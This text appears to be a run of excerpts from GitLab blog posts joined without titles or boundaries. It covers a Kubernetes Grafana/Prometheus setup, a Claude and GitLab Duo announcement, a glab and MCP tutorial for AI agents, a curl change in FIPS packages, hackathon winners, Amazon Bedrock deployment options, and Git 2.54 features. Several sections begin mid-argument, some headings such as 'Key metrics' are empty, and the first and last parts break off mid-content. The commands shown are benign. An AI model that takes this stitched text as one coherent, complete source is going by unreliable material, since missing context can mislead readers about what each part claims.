        - name: dashboards
          configMap:
            name: grafana-dashboards
---
apiVersion: v1
kind: Service
metadata:
  name: grafana
  namespace: gitlab-observability
spec:
  selector:
    app: grafana
  ports:
    - port: 3000
      targetPort: 3000

6. Set network policy

Restrict inter-pod traffic to only the required communication paths:

# network-policy.yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: observability-policy
  namespace: gitlab-observability
spec:
  podSelector: {}
  policyTypes:
    - Ingress
  ingress:
    # Prometheus scrapes exporter and node-exporter
    - from:
        - podSelector:
            matchLabels:
              app: prometheus
      ports:
        - port: 8080
        - port: 9100
    # Grafana queries Prometheus
    - from:
        - podSelector:
            matchLabels:
              app: grafana
      ports:
        - port: 9090

7. Validate

kubectl get pods -n gitlab-observability
kubectl port-forward svc/grafana 3000:3000 -n gitlab-observability
curl http://localhost:3000/api/health

Configuration reference

Exporter configuration

# gitlab-ci-pipelines-exporter.yml (ConfigMap: gcpe-config)
log:
  level: info
gitlab:
  url: https://gitlab.your-domain.com
  maximum_requests_per_second: 10
project_defaults:
  pull:
    pipeline:
      jobs:
        enabled: true
wildcards:
  - owner:
      name: your-group-name
      kind: group
    archived: false

Prometheus configuration

# prometheus.yml (ConfigMap: prometheus-config)
global:
  scrape_interval: 15s
scrape_configs:
  - job_name: 'gitlab-ci-pipelines-exporter'
    static_configs:
      - targets: ['gitlab-ci-pipelines-exporter:8080']
  - job_name: 'node-exporter'
    static_configs:
      - targets: ['node-exporter:9100']

Grafana data sources

# datasources.yml (ConfigMap: grafana-datasources)
apiVersion: 1
datasources:
  - name: Prometheus
    type: prometheus
    access: proxy
    url: http://prometheus:9090
    isDefault: true
# dashboards.yml (ConfigMap: grafana-dashboards-provider)
apiVersion: 1
providers:
  - name: 'default'
    folder: 'GitLab CI/CD'
    type: file
    options:
      path: /var/lib/grafana/dashboards

Key metrics

Pipeline Exporter metrics

Node Exporter metrics

Troubleshooting

Air-gapped Grafana plugin installation

For offline environments, install plugins manually. Example for Kubernetes:

# Copy plugin zip into the Grafana pod
kubectl cp grafana-polystat-panel-2.1.16.zip \
  gitlab-observability/grafana-<pod-id>:/tmp/
# Extract plugin
kubectl exec -it -n gitlab-observability deploy/grafana -- \
  sh -c "unzip /tmp/grafana-polystat-panel-2.1.16.zip -d /var/lib/grafana/plugins/"
# Restart Grafana pod
kubectl rollout restart deployment/grafana -n gitlab-observability
# Verify installation
kubectl exec -it -n gitlab-observability deploy/grafana -- \
  ls -al /var/lib/grafana/plugins/

Enterprise considerations

For regulated industries, ensure:

• Token security: Store GitLab Personal Access Tokens in a dedicated secrets manager rather than hardcoded in ConfigMaps. Enforce token rotation policies and limit scope to read_api only.
• Network segmentation: Deploy behind a reverse proxy with TLS termination. In Kubernetes, use an Ingress controller with automated certificate provisioning.
• Authentication: Configure Grafana with your organization's identity provider (SAML, LDAP, or OAuth/OIDC) to enforce role-based access control on dashboards.

Why GitLab?

GitLab's API-first design enables custom observability solutions that complement native capabilities like Value Stream Analytics and DORA metrics. The open architecture allows organizations to integrate proven open-source tooling — like the gitlab-ci-pipelines-exporter — directly with their existing enterprise infrastructure, without disrupting established workflows.

As your observability maturity grows, GitLab's built-in Observability capabilities provide a natural next step — offering deeper, integrated visibility without additional tooling. Learn more about what's available natively in the platform for GitLab Observability.

Claude powers capabilities across GitLab Duo Agent Platform as the default model out of the box, across a variety of use cases from code generation and review to agentic chat and vulnerability resolution. If you've used GitLab Duo, you've already experienced how Duo agents automate workflows across the entire software development lifecycle (SDLC).

This accelerates the integration of Claude’s capabilities into GitLab, broadens how enterprises can deploy them, and reinforces what makes GitLab fundamentally different as a platform for software development and engineering: governance, compliance, and auditability built into every AI interaction.

"GitLab Duo has accelerated how our teams plan, build, and ship software. The combination of Anthropic's Claude and GitLab's platform means we're getting more capable AI without changing how we work or how it is governed."

– Mans Booijink, Operations Manager, Cube

The real differentiator: Governed AI

With GitLab, governance controls and auditing are built into the SDLC. When Claude suggests a code change through the GitLab Duo Agent Platform, that suggestion flows through the same merge request process, the same approval rules, the same security scanning, and the same audit trail as every other change. AI doesn't get a shortcut around your controls. It operates within them.

As GitLab moves deeper into agentic software development, where AI autonomously handles well-defined tasks, the governance layer becomes more important. An AI agent that can open a merge request, help resolve a vulnerability, or refactor a service needs to be auditable, attributable, and subject to the same policy enforcement as a human developer. That requirement is an architectural decision GitLab made from the start, and one that grows more consequential as AI agents take on broader responsibilities.

Enterprise deployment flexibility

This also expands how organizations access the latest Claude models through GitLab. Claude is available within GitLab through Google Cloud's Vertex AI and Amazon Bedrock, which means enterprises can route AI workloads through the hyperscaler commitments and cloud governance frameworks they already have in place. No separate vendor contract. No new data residency questions. Your existing Google Cloud or AWS relationship is the on-ramp.

GitLab is now also available in the Claude Marketplace, allowing customers to purchase GitLab Credits and apply them toward existing Anthropic spending commitments – consolidating AI spend and simplifying how teams discover and procure GitLab alongside their Anthropic investments.

Advancing an agentic future

GitLab's vision for agentic software development, where AI handles defined tasks autonomously across planning, coding, testing, securing, and deploying, requires models with strong reasoning, reliability, and safety characteristics. It also requires a platform where those autonomous actions are fully governed.

Agentic workflows demand models with strong reasoning, reliability, and safety characteristics, criteria that guide how GitLab selects and integrates AI model partners. And GitLab's governance framework helps ensure that as AI agents assume more advanced development work, enterprises maintain full visibility and control over what those agents do, when they do it, and how changes are tracked.

What this means for GitLab customers

If you're already using GitLab Duo Agent Platform, you'll get access to Claude models and deeper AI assistance across your software development lifecycle, all within the governance framework you already rely on.

If you're evaluating AI-powered software development platforms, you shouldn't have to choose between advanced AI capabilities and enterprise control. This strategic integration is built to deliver both.

Want to learn more about GitLab Duo Agent Platform? Get a demo or start a free trial today.

The problem is that without the right tools, AI agents are essentially guessing when it comes to your GitLab projects. They might hallucinate the details of an issue they've never seen, summarize a merge request based on stale training data rather than its actual state, or require you to manually copy context from a browser tab and paste it into a chat window just to get started. Every one of those workarounds is friction: it slows you down, introduces the possibility of error, and puts a hard ceiling on what your agent can actually do on your behalf. glab changes that by giving agents a direct, reliable interface to your projects.

With glab, your agent fetches what it needs directly from GitLab, acts on it, and reports back — so you spend less time relaying information and more time on the work that matters.

In this tutorial, you'll learn how to use glab to give AI agents structured, reliable access to your GitLab projects. You'll also discover how that unlocks a faster, more capable development workflow.

How to connect your AI agent to GitLab through MCP

The most direct way to supercharge your AI workflow is to give your AI agent native access to glab through Model Context Protocol (MCP).

MCP is an open standard that lets AI tools discover and use external capabilities at runtime. Once connected, your AI assistant can read issues, comment on merge requests, check pipeline status, and write back to GitLab, all without copying anything from the UI or writing a single API call yourself.

To get started, run:

# Start the glab MCP server
glab mcp serve

Once your MCP client is configured, your AI can answer questions like "What's the status of my open MRs?" or "Are there any failing pipelines on main?" by querying GitLab directly, not scraping the web UI, not relying on stale training data. See the full setup docs for configuration steps for Claude Code, Cursor, and other editors.

One detail worth knowing: glab automatically adds --output json when invoked through MCP, for any command that supports it. Your agent gets clean, structured data without you needing to think about output formats. And because glab uses the official MCP SDK, it stays compatible as the protocol evolves.

We've also been deliberate about which commands are exposed through MCP. Commands that require interactive terminal input are intentionally excluded, so your agent never gets stuck waiting for input that will never come. What's exposed is what actually works reliably in an agent context.

Let your AI participate in code review

Most developers have a backlog of MRs waiting for review. It's one of the most time-consuming parts of the job and one of the best places to put AI to work. With glab, your agent doesn't just observe your review queue, it can work through it with you.

See exactly what still needs addressing

Start with this:

glab mr view 2677 --comments --unresolved --output json

This input returns the full MR: metadata, description, and every unresolved discussion, as a single structured JSON payload. Hand that to your AI and it has everything it needs: which threads are open, what the reviewer asked for, and in what context. No tab-switching, no copy-pasting individual comments.

{
  "id": 2677,
  "title": "feat: add OAuth2 support",
  "state": "opened",
  "author": { "username": "jdwick" },
  "labels": ["backend", "needs-review"],
  "blocking_discussions_resolved": false,
  "discussions": [
    {
      "id": "3107030349",
      "resolved": false,
      "notes": [
        {
          "author": { "username": "dmurphy" },
          "body": "This error handling will swallow panics — consider wrapping with recover()",
          "created_at": "2026-03-14T09:23:11.000Z"
        }
      ]
    },
    {
      "id": "3107030412",
      "resolved": false,
      "notes": [
        {
          "author": { "username": "sreeves" },
          "body": "Token refresh logic needs a test for the expired token case",
          "created_at": "2026-03-14T10:05:44.000Z"
        }
      ]
    }
  ]
}

Instead of reading through every thread yourself, you ask your agent "what do I still need to fix in MR 2677?" and get back a prioritized summary with suggested changes. This all happens from a single command.

Close the loop programmatically

Once your AI has helped you address the feedback, it can resolve discussions:

# List all discussions — structured, ready for the agent to process
glab mr note list 456 --output json

# Resolve a discussion once the feedback is addressed
glab mr note resolve 456 3107030349

# Reopen if something needs another look
glab mr note reopen 456 3107030349

[
  {
    "id": 3107030349,
    "body": "This error handling will swallow panics — consider wrapping with recover()",
    "author": { "username": "dmurphy" },
    "resolved": false,
    "resolvable": true
  },
  {
    "id": 3107030412,
    "body": "Token refresh logic needs a test for the expired token case",
    "author": { "username": "sreeves" },
    "resolved": false,
    "resolvable": true
  }
]

Note IDs are visible directly in the GitLab UI and API, no extra lookup needed. Your agent can work through the full list, verify each fix, and resolve as it goes.

Talk to your AI about your code more effectively

Even if you're not running an MCP server, there's a simpler shift that makes a huge difference: using glab to feed your AI better information.

Think about the last time you asked an AI assistant to help triage issues or debug a failing pipeline. You probably copied some text from the GitLab UI and pasted it into the chat. Here's what your agent is actually working with when you do that:

open issues: 12 • milestone: 17.10 • label: bug, needs-triage ...

Compare that to what it gets with glab:

[
  {
    "iid": 902,
    "title": "Pipeline fails on merge to main",
    "labels": ["bug", "needs-triage"],
    "milestone": { "title": "17.10" },
    "assignees": []
  },
  ...
]

Structured, typed, complete; no ambiguity, no parsing guesswork. That's the difference between an agent that can act and one that has to ask follow-up questions.

If you're using the MCP server, you get this automatically: glab adds --output json for any command that supports it. If you're working directly from the terminal, just add the flag yourself:

# Pull open issues for triage
glab issue list --label "needs-triage" --output json

# Check pipeline status
glab ci status --output json

# Get full MR details
glab mr view 456 --output json

We've significantly expanded JSON output support in recent releases. It now covers CI status, milestones, labels, releases, schedules, cluster agents, work items, MR approvers, repo contributors, and more. If glab can retrieve it, your AI can consume it cleanly.

A real workflow

$ glab issue list --label "needs-triage" --milestone "17.10"
--output json

Agent: I found 2 unassigned bugs in the 17.10 milestone that need triage:
1. #902 — Pipeline fails on merge to main (opened 5 days ago)
2. #903 — Auth token not refreshing on expiry (opened 4 days ago)
Both are unassigned. Want me to draft triage notes and suggest assignees based on recent commit history?

Your agent is never limited to built-in commands

glab's first-class commands cover the most common workflows, but your agent is never limited to them. Through glab api, it has authenticated access to the full GitLab REST and GraphQL API surface, using the same session, with no extra credentials or configuration required.

This is a meaningful differentiator. Most CLI tools stop at what their commands expose. With glab, if GitLab's API supports it, your agent can do it. It's always working from a trusted, authenticated context.

A practical example: fetching just the list of changed files in an MR before deciding which diffs to pull in full:

# Get changed file paths — lightweight, no diff content yet
glab api "/projects/$CI_PROJECT_ID/merge_requests/$CI_MERGE_REQUEST_IID/diffs?per_page=100" \
| jq '.[].new_path'

# Then fetch only the specific file your agent needs
glab api "/projects/$CI_PROJECT_ID/merge_requests/$CI_MERGE_REQUEST_IID/diffs?per_page=100" \
| jq '.[] | select(.new_path == "path/to/file.go")'

"internal/auth/token.go"
"internal/auth/token_test.go"
"internal/oauth/refresh.go"

For anything the REST API doesn't cover (epics, certain work item queries, complex cross-project data), glab api graphql gives you the full GraphQL interface:

  glab api graphql -f query='
{
  project(fullPath: "gitlab-org/gitlab") {
    mergeRequest(iid: "12345") {
      title
      reviewers { nodes { username } }
    }
  }
}'

{
  "data": {
    "project": {
      "mergeRequest": {
        "title": "feat: add OAuth2 support",
        "reviewers": {
          "nodes": [
            { "username": "dmurphy" },
            { "username": "sreeves" }
          ]
        }
      }
    }
  }
}

Your agent has a single, authenticated entry point to everything GitLab exposes without the token juggling, separate API clients, or configuration overhead.

What's coming and your feedback

Two improvements we're actively working on will make glab even more useful for agent workflows:

Agent-aware help text. Today, --help output is written for humansvat a terminal. We're updating it to surface the non-interactive alternative for every interactive command, flag which commands support --output json, and generally make help a useful resource for agents discovering capabilities at runtime — not just humans.

Better machine-readable errors. When something goes wrong today, agents get the same human-readable error messages as terminal users. We're changing that so errors in JSON mode return structured output, giving your agent the information it needs to handle failures gracefully, retry intelligently, or surface the right context back to you.

Both of these are in active development. If you're already using glab with an AI tool, you're exactly the audience we want feedback from.

• What friction are you hitting? Commands that don't behave well in agent contexts, error messages that aren't actionable, gaps in JSON output coverage. We want to know.
• What workflows have you unlocked? Real usage patterns help us prioritize what to build next.

Join the discussion in our feedback issue — that's where we're shaping the roadmap for agent-friendliness, and where your input will have the most direct impact. If you've found a specific gap, open an issue. If you've got a fix in mind, contributions are welcome. Visit CONTRIBUTING.md to get started.

The GitLab CLI has always been about giving developers more control over their workflow. As AI becomes a bigger part of how we all work, that means making glab the best possible interface between your AI tools and your GitLab projects. We're just getting started and we'd love to build the next part with you.

Why is this change happening?

This change is necessary because curl 8.18.0 deprecated compilation against OpenSSL 1.x, which prevents us from continuing our previous approach on Amazon Linux 2 and AlmaLinux 8 (affecting RHEL 8 customers). GitLab provides most dependencies for Omnibus-GitLab, but in FIPS packages we link to the distribution's cryptographic libraries rather than bundling our own — and we are now extending that model to curl.

For maintainability and security reasons, we are applying this change to all FIPS packages, including distributions with OpenSSL 3.0 or later. All FIPS customers are affected.

What do I need to do?

GitLab Self-Managed

GitLab 19.0 will be available starting on May 21, 2026.

Learn more about the release schedule.

Starting with the 19.0 Omnibus-GitLab FIPS package, the bundled curl will be removed and replaced with the curl provided by the customer's Linux distribution. The customer's GitLab instance will continue to work as expected. This change has no other impact and doesn't require any immediate action.

Important implication

GitLab will no longer be responsible for shipping security updates to curl specifically in FIPS packages, and it will be up to the customer to keep their own OS's curl up to date to receive fixes/security patches. Scanner findings for curl will now reflect the host OS package rather than a GitLab-bundled version. This is consistent with how OpenSSL is already handled in FIPS environments.

What do I do if I still have problems?

If you need assistance, please open an issue in the omnibus-gitlab issue tracker.

That is why we opened GitLab Duo Agent Platform and invited developers worldwide to build AI agents that help teams ship secure software faster. Not chatbots that answer questions, but agents that jump into workflows, respond to events, and act on your behalf. The GitLab AI Hackathon ran from February 9 to March 25, 2026, on Devpost, the hackathon platform. Google Cloud and Anthropic joined as co-sponsors.

When my team planned this hackathon with Google Cloud and Anthropic, I asked the judges to score four things: technical work, design, potential impact, and idea quality. We hoped for strong turnout. What we got surprised all of us. Nineteen judges spent 18 days reviewing every entry. Google Cloud and Anthropic provided judges, prizes, and cloud access. The community built hundreds of agents and flows because they wanted to solve these problems.

Nearly 7,000 developers showed up. They built 600+ agents and flows in weeks. The prizes across all categories totaled $65,000 from GitLab, Google Cloud, and Anthropic.

If you have ever watched a senior engineer leave and take half the team's knowledge with them, you know why the winning project hit so hard.

Read on to find out what the community built.

Grand Prize: LORE

LORE, the Living Organizational Record Engine, uses eight agents with a router that sends each question to the right agent, logic to prevent circular loops in the knowledge graph, a visual dashboard, and carbon tracking. The command-line tool ships with 43 tests (yes, 43 tests in a hackathon project).

LORE solves a real problem: the knowledge that lives in engineers' heads and walks out the door when they leave. In my experience, a hackathon project with 43 tests is rare. That many tests in a hackathon project tells you something about the team behind it.

Judge April Guo (Anthropic) wrote: "This feels like a product, not a hackathon project."

Google Cloud winners

Gitdefender won the Google Cloud Grand Prize. It works inside code review workflows, finding and fixing security issues. It spots the bug, writes the fix, and opens the code review. No developer needs to step in.

Aegis won the Google Cloud Runner Up. It gives AI-powered explanations for every decision it makes, deployed to Google Cloud and ready for production use.

Anthropic winners

GraphDev won the Anthropic Grand Prize. It maps code links and shows how systems change over time. Judge Aboobacker MK (GitLab) noted it was "in sync with our work on GitLab knowledge graph." Judge Ayush Billore (GitLab) wrote: "Loved the demo and UX, super useful for understanding how the system evolved and what gets impacted by changes." You can see the full impact of a change before you make it.

DocSync won the Anthropic Runner Up. It uses three agents: Detector, Writer, and Reviewer. If DocSync is confident in the fix, it opens a code review. If not, it creates an issue for a human to check.

Category winners

Most Technically Impressive

Database migrations break things. Time-Traveler creates a safe copy of your production setup, runs the migration against that copy, and reports the result. It runs five agents connected by a bridge, with real Google Cloud deployment, real PostgreSQL migrations, and real data.

Most Impactful

RedAgent checks AI-generated security reports, closing the trust gap between AI findings and developer action. If your team uses AI for security scanning, you know this problem. I have seen teams dismiss AI findings because they could not verify them. RedAgent gives teams a way to check AI output before it reaches developers.

Easiest to Use

Launch Control delivers polished UX and solid infrastructure, and scored well on sustainability too.

The sustainability signal

Five projects won prizes or bonuses for environmental impact. Software delivery has a carbon cost as CI/CD pipelines, but now LLMs also run compute at scale. We created the Green Agent category to challenge developers to measure and reduce that footprint. Stacy Cline and Kim Buncle from GitLab's sustainability team helped judge the Green Agent category.

Green Agent prize

GreenPipe scans CI/CD pipelines for environmental impact and produces carbon footprint reports. Judges Kim Buncle and Rajesh Agadi (Google) both backed the project.

Sustainable Design bonus

Sustainable Design bonuses were awarded to the projects with exceptional sustainability practices in their design, from model optimization techniques to energy-efficient architecture choices.

• BugFlow turned one bug report into 10 fixes in 20 minutes.
• DELTA Cyber Reasoning is automated fuzz testing for security.
• CarbonLint applied code analysis to energy use.
• TFGuardian features a carbon footprint analyzer, among other agents.

Congratulations on all the Sustainable Design bonus winners!

Judge Jens-Joris Decorte (TechWolf) cited the result: Costs dropped from $556 to $18 per month, a 96% carbon cut (that is a $538 monthly saving with a sustainability label on it).

Honorable mentions and the long tail

Six projects received honorable mentions:

• SecurityMonkey injects known vulnerabilities into a test branch and scores how well your security scanners catch them.
• stregent monitors CI/CD pipelines and lets developers investigate and merge fixes from WhatsApp without opening a laptop.
• Compliance Sentinel scores every merge request for compliance risk and blocks the merge if critical violations are detected.
• Carbon Tracker calculates the carbon footprint of each CI/CD pipeline job and posts optimization tips on the merge request.
• RepoWarden is the first Living Specification Engine, an AI system that captures why code was written, not just what it does.
• MR Compliance Auditor collects evidence across merge requests, maps it to SOC 2 controls, and streams compliance scores to a live dashboard.

My favorite quote from the judging came from Luca Chun Lun Lit (Anthropic), who described stregent's mobile-first approach: "Being able to essentially code from your phone is a next level in the engineering experience."

Explore the 600+ entries in the project gallery.

What comes next

Every agent in this hackathon worked within a single project. They still delivered impressive results. Some participants ran a local knowledge graph alongside their agents to surface code relationships and dependencies within the repo. LORE captures project history. Gitdefender finds vulnerabilities. Pairing agents with richer local context is already helping contributors build sharper tools. The next hackathon will build on what contributors are already doing with richer context. Sign up on contributors.gitlab.com to be the first to know when details drop.

Get started

A special thanks to Lee Tickett (GitLab) and Mattias Michaux (GitLab) for orchestrating the orchestrators and innovators behind this hackathon!

Thank you to every developer who submitted. Nearly 7,000 of you showed what GitLab Duo Agent Platform can do when a community decides to build. I am proud of what you built here, and I cannot wait to see what you build next.

Build your own agent on GitLab Duo Agent Platform. Browse community-built agents in the AI Catalog. You orchestrate. AI accelerates.

GitLab Duo Agent Platform enables you to handle planning, merge pipelines, security scanning, vulnerability remediation, and more as part of your GitLab workflows, while the GitLab AI Gateway routes model calls to Bedrock (or GitLab-managed Bedrock-backed endpoints, depending on your setup). That means you can build on the identity and access management (IAM) policies, virtual private cloud (VPC) boundaries, regional controls, and cloud spend commitments you already have in AWS.

If you already use Amazon Bedrock and want AI to help inside the work you already do in GitLab, not in yet another standalone chat tool, this is the pairing for you.

In this article, we look at the real problem many teams face today: AI is fragmented, data paths are fuzzy, and Bedrock investment gets underused when AI sits outside the software development lifecycle. Then we break down your deployment options for GitLab Duo Agent Platform:

• Integrated with self-hosted models on Amazon Bedrock for GitLab Self-Managed deployments and self-hosted AI gateway
• Integrated with GitLab-operated models on Amazon Bedrock (with GitLab-owned keys) for GitLab Self-Managed deployments and GitLab-hosted AI gateway
• Integrated with GitLab-operated models on Amazon Bedrock (with GitLab-owned keys) for GitLab.com instances and GitLab-hosted AI gateway

We wrap with a summary on how this approach helps avoid shadow AI and point-tool sprawl without creating a parallel tech stack for AI tooling.

AI everywhere, control nowhere

Somewhere in your company right now, software teams might be using an AI tool that your security team hasn't approved. Prompt data might be leaving your environment through a path no one has fully mapped. And your organization’s Amazon Bedrock investment might be underused while individual teams expense separate AI tools, pulling workloads and cloud spend away from the platforms you’ve already committed to.

Instead of being a people problem, this might be an architecture problem. And it surfaces the same three constraints in nearly every enterprise:

Operational fragmentation. Each team, or sometimes even an individual developer, picks their own development toolset, including AI tooling and model selection. That fragmentation makes end-to-end governance within the software development lifecycle nearly impossible.

Security and sovereignty. Where does prompt and code data actually flow? Who owns the logs?

Cloud spend optimization. Commitments to key cloud providers like AWS are diluted as workloads and AI usage drift to point tools outside of customers’ existing agreements.

GitLab Duo Agent Platform and Amazon Bedrock help solve this together. The division of labor is straightforward: Duo Agent Platform owns the workflow orchestration with agentic AI for software development, Bedrock owns the inference layer and hosts approved foundational models, and your organization has full control over the data and policy boundaries you already defined in AWS. Three jobs, three owners, no fragmentation.

GitLab Duo Agent Platform: The agentic control plane

GitLab Duo Agent Platform is GitLab's agentic AI layer: a framework of specialized agents and flows that operate simultaneously and in-parallel, going beyond the traditional stage-based handoffs and helping automate work across the entire software lifecycle. Rather than a single assistant responding to prompts, Duo Agent Platform enables teams to orchestrate many AI agents asynchronously using unified data and project context, including issues, merge requests, pipelines, and security findings. Linear workflows are turned into coordinated, continuous collaboration between software teams and their AI agents, at scale.

With that control plane in place, the natural next question is which AI foundation should power these agents. For customers who run GitLab Self-Managed on AWS and need inference traffic, prompt data, and logs to also stay within their AWS environment along with their software lifecycle data, Amazon Bedrock acting as the AI inference layer is the natural fit.

Amazon Bedrock: The trusted AI foundation

Amazon Bedrock is a fully managed, serverless foundation model layer that runs entirely within your AWS environment. Customer data stays in the customer's AWS account: inputs and outputs are encrypted in transit and at rest, never shared with model providers, and never used to train base models. Bedrock carries compliance certifications across GDPR, HIPAA, and FedRAMP High, covering many regulated industry requirements out of the box. Teams can also bring fine-tuned models from elsewhere via Custom Model Import and deploy them alongside native Bedrock models through the same infrastructure, without managing separate deployment pipelines. Bedrock Guardrails adds configurable safeguards across all models for content filtering, hallucination detection, and sensitive data protection.

Together, GitLab Duo Agent Platform and Bedrock consolidate DevSecOps orchestration and AI model governance, helping eliminate the fragmentation that happens when teams roll out AI tools independently.

Choosing your deployment path

The integration delivers the same core GitLab Duo Agent Platform capabilities regardless of how it is deployed. What varies is who runs GitLab, who operates the AI Gateway, and whose Bedrock account the inference runs through. The right pattern depends on where your organization already operates.

At a high level, the integration has three main components:

• GitLab Duo Agent Platform: agentic workflows embedded across the software development lifecycle
• AI Gateway (GitLab-managed or self-hosted): the abstraction layer between Duo Agent Platform and the foundational model backend
• Amazon Bedrock: the AI model and inference substrate

Choosing a deployment pattern is informed by where an organization wants to place the levers of control. The patterns below are designed to meet teams where they already are, whether that's SaaS-first, self-managed for compliance, or all-in on AWS with existing Bedrock investments.

How customers use GitLab Duo Agent Platform with Amazon Bedrock

Platform teams can use GitLab Duo Agent Platform with Amazon Bedrock to standardize which models handle code suggestions, security analysis, and pipeline remediation. This helps enforce guardrails and logging centrally rather than letting individual teams adopt separate tools independently.

Security workflows see particular benefit. GitLab Duo Agent Platform agents can propose and validate fixes for security findings within GitLab, helping reduce the manual triage work developers would otherwise handle outside the platform.

For enterprises already committed to AWS, routing AI workloads through Bedrock from within GitLab enables you to keep developer AI usage aligned with existing cloud agreements rather than generating separate, unplanned spend.

Closing the loop

The constraints that slow enterprise AI adoption are often not technical. They are organizational: fragmented tooling, ungoverned data flows, and cloud spend that never consolidates. Those are the problems that can stall AI programs even after the pilots succeed.

GitLab Duo Agent Platform and Amazon Bedrock help address each one directly. Platform teams get consistent governance, auditability, and standardized paths for AI usage across the software development lifecycle. Development teams get streamlined, agentic workflows that feel native to GitLab. And AWS-centric organizations get to extend their existing Bedrock investment rather than build parallel AI infrastructure alongside it.

The result is an AI program that scales without fragmenting. Governance and velocity on the same stack, serving the same teams, under policies the organization already owns.

To explore which deployment pattern is right for your organization and how to align GitLab Duo Agent Platform and Amazon Bedrock with your existing AWS strategy, contact the GitLab sales team and we’ll help you design and implement the best architecture for your environment. You can also visit our AWS partner page to learn more.

Pluggable Object Databases

Git already has the ability to store references with either the "files" backend or with the "reftable" backend. This is achieved by having proper abstractions in Git that allows us to have different backends.

But references are just one of the two important types of data that are stored in repositories, with the other being objects. Objects are stored in the object database, and each object database in turn consists of multiple object sources where objects can be read from or written to. Each object source either stores individual objects as so-called "loose" objects, or compresses multiple objects into a "packfile" in your .git/objects directory.

Until now, however, these sources did not have a proper abstraction boundary, so the storage format for objects is completely hardcoded into Git. But this is finally changing with pluggable object databases! The concept is straightforward and similar to how we did this for references in the past: Instead of having hardcoded code paths for how to store objects, we introduce an abstraction boundary that allows us to have different backends for storing objects.

While the idea is simple, the implementation is not, as we have hardcoded assumptions about the storage formats used in Git all over the place. In fact, we have started working on this topic in Git 2.48, which was released in January 2025. Initially, we focused on making object-related subsystems self-contained and creating proper subsystems for the existing backends that we had in Git.

With Git 2.54, we have now reached a milestone: The object database backend is now pluggable. Not all of Git's functionality is covered yet, but introducing an alternate backend that handles a meaningful subset of operations is now a realistic undertaking.

For now, only local workflows like creating commits, showing commit graphs, or performing merges will work with such an alternative implementation. This notably excludes anything that interacts with a remote, such as when you want to fetch or push changes. Regardless, this is the culmination of almost two years of work spanning across almost 400 commits that have been merged upstream, and we will of course continue to iterate on this effort.

So why does this matter? The idea is that it becomes practical to introduce new storage formats into Git. Examples could be:

• A storage format that is able to store large binary files more efficiently than packfiles do today
• A storage format that is custom-tailored for GitLab to ensure that we can serve repositories to our users even more efficiently than we currently can

This is a large-scale effort that is likely to shape the future of Git and GitLab.

This project was led by Patrick Steinhardt.

Easier editing of your commit history

In many software development projects it is common practice for developers to not only polish the code they want to contribute, but to also polish the commit history so that it becomes easy to review. The result is a set of small and atomic commits that each do one thing, with a good commit message that describes the intent of the commit as well as specific nuances.

Of course, more often than not, these atomic commits are not something that just happens naturally during the development process. Instead, the author of the changes will gain a better understanding of what they are while iterating on them, and the way to split up the commits will become clearer over time. Furthermore, the subsequent review process may result in feedback that requires changes to the crafted commits.

The consequence of this process is that the developer will have to rewrite their commit history many times during the development process. Historically, Git has allowed for this use case via interactive rebases. These interactive rebases are an extremely powerful tool: They let you reorder commits, rewrite commit messages, squash multiple commits together, or perform arbitrary edits of any commit.

But they are also somewhat arcane and hard to understand. The user needs to figure out the base commit for the rebase, they need to understand how to edit a somewhat obscure "instruction sheet," and they need to be aware of how the stateful rebasing process works. For example, users are presented with an instruction sheet similar to the following when rebasing a topic branch:

pick b60623f382 # t: detect errors outside of test cases # empty
pick b80cb55882 # t: prepare `test_match_signal ()` calls for `set -e`
pick 5ffe397f30 # t: prepare `test_must_fail ()` for `set -e`
pick 5e9b0cf5e1 # t: prepare `stop_git_daemon ()` for `set -e`
pick 299561e7a2 # t: prepare `git config --unset` calls for `set -e`
pick ed0e7ca2b5 # t: detect errors outside of test cases

So while interactive rebases are powerful, they are also quite intimidating for the average user.

It doesn't have to be this way, though. Tools like Jujutsu provide interfaces that are much easier to use compared to Git, as you can for example simply execute jj split to split up a commit into two commits. With Git and interactive rebases, this use case requires a lot of different steps with confusing command line arguments.

We have thus taken inspiration from Jujutsu and have introduced a new git-history(1) command into Git that is the foundation for better history editing. For now, this command has two subcommands:

• git history reword allows you to easily rewrite a commit message. You simply give it the commit whose message you want to reword, Git asks you for the new commit message, and that's it.
• git history split allows you to split up a commit into two, which is inspired by jj split. You give it a commit, Git asks you which changes to stage into which commit and for the two commit messages, and then you're done.

This is of course only a start, and we want to add additional subcommands over time. For example:

• git history fixup to take staged changes and automatically amend them to a specific commit
• git history drop to remove a commit
• git history reorder to reorder the sequence of commits
• git history squash to squash a range of commits

But that's not all! In addition to making history editing easy, this new command also knows to automatically rebase all of your local branches that previously included this commit. So that means that you can even edit a commit that is not on the current branch, and all branches that contain the commit will be rewritten.

It may seem puzzling at first that Git is automatically rebasing dependent branches, as that is a significant diversion from how git-rebase(1) works. But this is part of a bigger effort to bring better support for Stacked Diffs to Git, which are a way to create a series of multiple dependent branches that can be reviewed independently, but that together work towards a bigger goal.

This project was led by Patrick Steinhardt with support from Elijah Newren.

A native replacement for git-sizer(1)

The size of a Git repository is an important factor that determines how well Git and GitLab can handle it. But size alone is not the only factor, as the performance of a repository is ultimately a combination of multiple different dimensions:

• The depth of the commit history
• The shape of the directory structure
• The size of files stored in the repository
• The number of references

These are only some of the dimensions one needs to consider when trying to predict whether Git will be able to handle a repository well.

But while it is clear that the mere repository size is insufficient, Git itself does not provide any tooling that gives the user an easy overview of these metrics. Instead, users are forced to rely on third-party tools like git-sizer(1) to fill this gap. This tool does an excellent job at surfacing this information, but it is not part of Git itself and thus needs to be installed separately.

Observability of repository internals is critical to us at GitLab, so we introduced a new git repo structure command into Git 2.52 to display repository metrics, which we have extended in Git 2.53 to show inflated and disk sizes for objects by type.

In Git 2.54, we are now iterating some more on this command so that we don't only show the overall size, but also show the largest objects by type:

$ git clone https://gitlab.com/git-scm/git.git
$ cd git
$ git repo structure
Counting objects: 410445, done.
| Repository structure      | Value       |
| ------------------------- | ----------- |
| * References              |             |
|   * Count                 |    1.01 k   |
|     * Branches            |       1     |
|     * Tags                |    1.00 k   |
|     * Remotes             |       9     |
|     * Others              |       0     |
|                           |             |
| * Reachable objects       |             |
|   * Count                 |  410.45 k   |
|     * Commits             |   83.99 k   |
|     * Trees               |  164.46 k   |
|     * Blobs               |  161.00 k   |
|     * Tags                |    1.00 k   |
|   * Inflated size         |    7.46 GiB |
|     * Commits             |   57.53 MiB |
|     * Trees               |    2.33 GiB |
|     * Blobs               |    5.07 GiB |
|     * Tags                |  737.48 KiB |
|   * Disk size             |  181.37 MiB |
